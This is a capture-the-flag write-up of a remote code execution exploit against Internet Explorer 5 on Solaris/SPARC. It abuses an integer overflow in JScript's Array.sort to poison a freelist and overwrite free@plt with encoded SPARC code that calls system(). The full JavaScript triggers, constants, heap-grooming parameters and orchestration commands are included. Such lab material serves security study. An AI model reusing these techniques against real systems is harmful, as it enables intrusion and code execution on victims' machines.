This is the writeup for the Array.sort solution path for the Ancients
Solaris challenge. It does not use the Gopher+ bug.
The target is Internet Explorer 5 for Solaris 2.6/SPARC. The broker launches the browser on a submitted HTTP URL and considers the challenge solved when the browser executes:
/usr/local/bin/dispense_flagThe final broker result was:
{
"job_id": "20260426-155721-915d5908",
"success": true,
"message": "exploit succeeded",
"duration_seconds": 83.108,
"flag": "flag{5un_1nt3rn37_3xpl0d3r}"
}Final flag:
flag{5un_1nt3rn37_3xpl0d3r}
The bug is in libjscript.so, in the implementation of
Array.prototype.sort for borrowed/non-Array objects and dense arrays. The
function is documented in ARRAY_SORT_VULN.md as
js_Sort_borrow_or_dense at offset 0x5e7a0.
The vulnerable prologue allocates two arrays whose sizes are derived directly
from the JavaScript object's length:
__ptr = malloc(length * 4);
__s = malloc(length * 0x18);
memset(__s, 0, length * 0x18);Those products are computed as 32-bit unsigned arithmetic. With a large
attacker-controlled length, both products wrap back to small allocations.
The sort implementation then enumerates the object's actual properties and
writes one 24-byte sort record per property into __s.
The final exploit uses:
a.length = 0x40000001;
a[0] = 1e100;
a[1] = 1e100 + 1;
a[2] = makeDouble(target - 8, 0);
a.sort(function(x, y) { return 0; });For length = 0x40000001:
length * 4 == 0x00000004
length * 0x18 == 0x00000018
So __s is only 24 bytes. Three real properties produce three records, or
72 bytes total, overflowing 48 bytes past the __s allocation.
Each element copied into the sort work buffer has a 24-byte record:
+0x00 uint32 index
+0x04 padding / pre-existing word
+0x08 VARIANT vt and reserved fields
+0x10 VARIANT value, high 32 bits
+0x14 VARIANT value, low 32 bits
On SPARC, everything is big-endian. A JavaScript number is stored as a double,
so makeDouble(hi, lo) gives useful control over the two value words at record
offsets +0x10 and +0x14.
In the first vulnerable sort, property a[2] is a crafted double:
var poison = makeDouble((target - 8) >>> 0, 0);That value lands in the overflowed record and corrupts a bin-2 freelist pointer
with target - 8.
Solaris libc has small-bin freelists for small allocations. A request for
0x18 bytes uses bin 2. The vulnerable Array.sort with
length = 0x40000001 allocates its __s buffer from this same bin.
The exploit turns the overflow into a bin-2 freelist poison:
- Groom the bin-2 region with DOM objects.
- Free selected objects to create a predictable bin-2 freelist gap.
- Trigger the first vulnerable
sort. - Let the overflowing record write
target - 8into the freelist chain. - Allocate two drain objects to consume legitimate freelist entries.
- Trigger a second vulnerable
sort; itsmalloc(0x18)for__sreturnstarget.
In the final exploit page, the important grooming parameters were:
mode=class
g=128
f0=64
f2=60
count=3
pre=4
pmode=text
post=0
prew=1
drain=2
drainmode=text
The prew=1 option creates the writer object before the first sort. That made
the heap layout stable enough that the first sort poisoned the freelist and the
second sort consumed the poisoned entry.
The detours-style hook traces proved the primitive locally. The key sequence was:
walk[List2] = ..., free@plt - 8, ...
malloc(0x18) ret_val = free@plt
Once malloc(0x18) returns free@plt, the second sort writes its 24-byte
records directly over executable words in libjscript.so.
The target chosen for the writer primitive is the free PLT entry inside
libjscript.so.
The relocation offset is:
libjscript.so + 0x135ae0 == free@plt
There are three useful properties:
- It is in a writable/executable mapping in this old Solaris runtime.
- The JScript sort cleanup path calls
freeafter sorting, so control reaches the overwritten PLT entry naturally. - The code is position-dependent except for the module base, which can be read
from the live broker process with
pmap.
In a typical broker run:
libjscript base = 0xeb3c0000
free@plt = 0xeb3c0000 + 0x135ae0
= 0xeb4f5ae0
The libjscript base did vary across broker jobs, so a static target was not
reliable enough. The final exploit used a dynamic target handoff, described in
section 8.
The second sort is the writer. It uses another object with a huge wrapped length:
w.length = 0xc0000001;
w[0x30800004] = makeDouble(seto0, 0x30800005);
w[0x80100001] = 4.34475128458380809e-293;
w[0x80100000] = 7.29112204671794362e-304;
w.sort(function(x2, y2) { return 0; });The two constants decode as:
4.34475128458380809e-293 -> 0x033bbfa2 0x9fc0633c
7.29112204671794362e-304 -> 0x01000000 0x01000000
The first constant supplies:
sethi %hi(system), %g1
call %g1 + 0x33c
With the stable libc mapping observed in this target, that calls:
system = 0xeef80000 + 0x68b3c = 0xeefe8b3c
The generated SPARC code at free@plt looks like this for the final
arg = 0x001a2800 run:
free@plt:
ba,a +0x10
unimp 0
unimp 0x52800
unimp 0x1e2800
sethi 0x68a, %o0 ! %o0 = 0x001a2800
ba,a +0x28
mov %g1, %g0
sethi 0x3bda9c, %g1
unimp 0x52800
unimp 0x1e2800
sethi 0x3bbfa2, %g1 ! %g1 = 0xeefe8800
call %g1 + 0x33c ! system()
nopThe branch instructions skip over the unavoidable VARIANT metadata words. After
system returns, execution falls into an invalid instruction and the browser
crashes. That crash is expected and harmless; the broker only needs
dispense_flag to run first.
One important limitation: the %o0 setup uses only sethi, so it can only set
a 1024-byte-aligned pointer. That constraint became the final reliability
issue.
The exploit needs %o0 to point to a shell command string:
/usr/local/bin/dispense_flag
The command string is sprayed through a BMP loaded by the page:
<img width="2" height="2" src="/static/cmdcarpet_phase29/t000.bmp">The BMP pixel data is a repeated command carpet:
/usr/local/bin/dispense_flag ; /usr/local/bin/dispense_flag ; ...
The first carpet I tried had the wrong phase. The browser reached system(),
but truss showed a child shell doing setup and exiting with status 0 without
any exec() of /usr/local/bin/dispense_flag. That meant %o0 was pointing
at whitespace, a NUL, or another no-op string.
The fix was to make the BMP phase match the writer's 1024-byte alignment. I
added a configurable byte shift to scripts/build_cmd_carpet_bmp.py and built:
python3 scripts/build_cmd_carpet_bmp.py \
--out host-web/cmdcarpet_phase29/t000.bmp \
--byte-shift 29Then I used a diagnostic page state to scan the exact heap layout just before the final writer sort.
The old scans did not match the final exploit layout closely enough. A
nowrite=1 scan skipped the writer object, and a hang3=1 scan often reached
system() and crashed before there was time to inspect memory.
I added:
var hangbw = q("hangbw", "0") == "1";
...
var drain = new Array(drainN);
for (var dk = 0; dk < drainN; dk++) drain[dk] = makeOne(30000 + dk, drainMode);
keep[keep.length] = drain;
if (hangbw) {
for (;;) {
}
}That stops the page after the final drain allocations but before the writer
sort(). This gives the same heap shape as the real exploit up to the last
write.
Using scripts/broker_live_probe.py with the guest /proc/<pid>/as scanner,
the phase-29 carpet produced aligned command hits:
hit[6] vaddr=0x001a2800
context_ascii=/usr/local/bin/dispense_flag ; /usr/local/bin/dispense_flag ;
So the final command pointer was:
arg = 0x001a2800
This also explains why previous values like 0x001f0800 and 0x001f0c00
failed. They were aligned, but in the exact final layout they did not point at
a command start.
The broker accepts only one submitted URL, but the final exploit needs the
runtime libjscript base. The solution was a staged URL:
-
Submit
stage_dyn_redirect.htmlto the broker. -
That page loads a blocking external script from the host:
http://10.0.2.2:18082/dyn_target.js. -
While the browser is blocked on that script,
broker_live_probe.pylogs into the broker guest, finds the IE process, runspmap, and computes:target = libjscript_base + 0x135ae0 -
The probe writes that value to
host-web/dyn_target.txt. -
scripts/dyn_target_server.pysees the file update and returns JavaScript that redirects to the real exploit URL withtarget=<computed target>.
The stage page is intentionally small:
<script language="JScript">
var dynScript = q("dynscript", "");
if (dynScript != "") {
document.write('<script language="JScript" src="' + dynScript + '"></scr' + 'ipt>');
}
</script>The dynamic server either serves:
var TARGET_OVERRIDE = "0xeb4f5ae0";or, in the final broker flow:
location.replace("http://10.0.2.2/static/sortexp_freeplt_gap_cmdsled.html?...target=0xeb4f5ae0...");Using a redirect was more reliable than loading the dynamic script directly inside the exploit page because direct blocking script loads changed allocator geometry enough to break the freelist window.
The final exploit page was:
host-web/sortexp_freeplt_gap_cmdsled.html
with these parameters:
mode=class
g=128
f0=64
f2=60
count=3
pre=4
pmode=text
post=0
prew=1
drain=2
drainmode=text
nh=1
target={dynamic free@plt}
arg=0x001a2800
hangbw=0
imgpath=/static/cmdcarpet_phase29/t000.bmp
The final successful broker submission went through:
http://10.0.2.2/static/stage_dyn_redirect.html?dynscript=http%3A%2F%2F10.0.2.2%3A18082%2Fdyn_target.js%3Fu%3D...&stageu=...
and redirected to the real sortexp_freeplt_gap_cmdsled.html URL after the
probe computed target=0xeb4f5ae0 for that job.
Start with the command carpet:
python3 scripts/build_cmd_carpet_bmp.py \
--out host-web/cmdcarpet_phase29/t000.bmp \
--byte-shift 29Reset the dynamic target latch and start the one-shot dynamic redirect server:
printf '0x00000000\n' > host-web/dyn_target.txt
template=$(python3 - <<'PY'
from urllib.parse import urlencode
import time
u = str(time.time_ns())
params = dict(
mode='class',
g='128',
f0='64',
f2='60',
count='3',
pre='4',
pmode='text',
post='0',
prew='1',
drain='2',
drainmode='text',
nh='1',
target='{target}',
arg='0x001a2800',
hangbw='0',
imgpath='/static/cmdcarpet_phase29/t000.bmp',
imgu=u,
)
print('http://10.0.2.2/static/sortexp_freeplt_gap_cmdsled.html?' + urlencode(params))
PY
)
python3 scripts/dyn_target_server.py \
--port 18082 \
--target-file host-web/dyn_target.txt \
--timeout 120 \
--once \
--redirect-template "$template"Submit the stage URL to the broker:
url=$(python3 - <<'PY'
from urllib.parse import urlencode
import time
u = str(time.time_ns())
params = {
'dynscript': 'http://10.0.2.2:18082/dyn_target.js?u=' + u,
'stageu': u,
}
print('http://10.0.2.2/static/stage_dyn_redirect.html?' + urlencode(params))
PY
)
curl -sS --max-time 240 \
-X POST \
--data-urlencode "url=$url" \
http://127.0.0.1:8192/submitIn parallel, run the live broker probe that computes free@plt:
python3 scripts/broker_live_probe.py \
--wait-port 180 \
--wait-browser 120 \
--settle 0 \
--wait-module 30 \
--write-target-file host-web/dyn_target.txt \
--post-write-settle 12 \
--markerThe dynamic server should print a served target such as:
served TARGET_OVERRIDE=0xeb4f5ae0
and the broker should return JSON containing the flag.
The most useful debugging signals were:
- The detours-style hook framework from
INSTRUMENTATION.md, especially allocator hooks and thesystem_after_sorthook. broker_live_probe.pyfor live brokerpmap, target-file handoff, guest memory scans, and marker checks.guest_as_scan.cfor scanning/proc/<pid>/asinside Solaris.trussonly as a narrow confirmation tool: it proved that failed late-stage attempts reachedsystem()but the shell child exited without executing the target command.
The trace that proved the local end-to-end control path showed:
malloc(0x18) ret_val = free@plt
system_after_sort ret = free@plt + 0x2c
system_after_sort o0 = command pointer
The final broker-specific problem was not the overwrite or the call target. It
was the command pointer. Once the command carpet was re-phased so that a
1024-byte-aligned address pointed exactly at /usr/local/bin/dispense_flag,
the same overwrite chain solved the challenge.
The main artifacts for this solution are:
host-web/sortexp_freeplt_gap_cmdsled.html- final exploit page.host-web/stage_dyn_redirect.html- small staging page for the dynamic base handoff.host-web/cmdcarpet_phase29/t000.bmp- phase-aligned command carpet.scripts/build_cmd_carpet_bmp.py- command-carpet BMP builder.scripts/dyn_target_server.py- one-shot blocking dynamic target/redirect server.scripts/broker_live_probe.py- live broker inspection and target writer.scripts/guest_as_scan.c- guest process memory scanner.broker-work/20260426-155721-915d5908/result.json- successful broker result with the flag.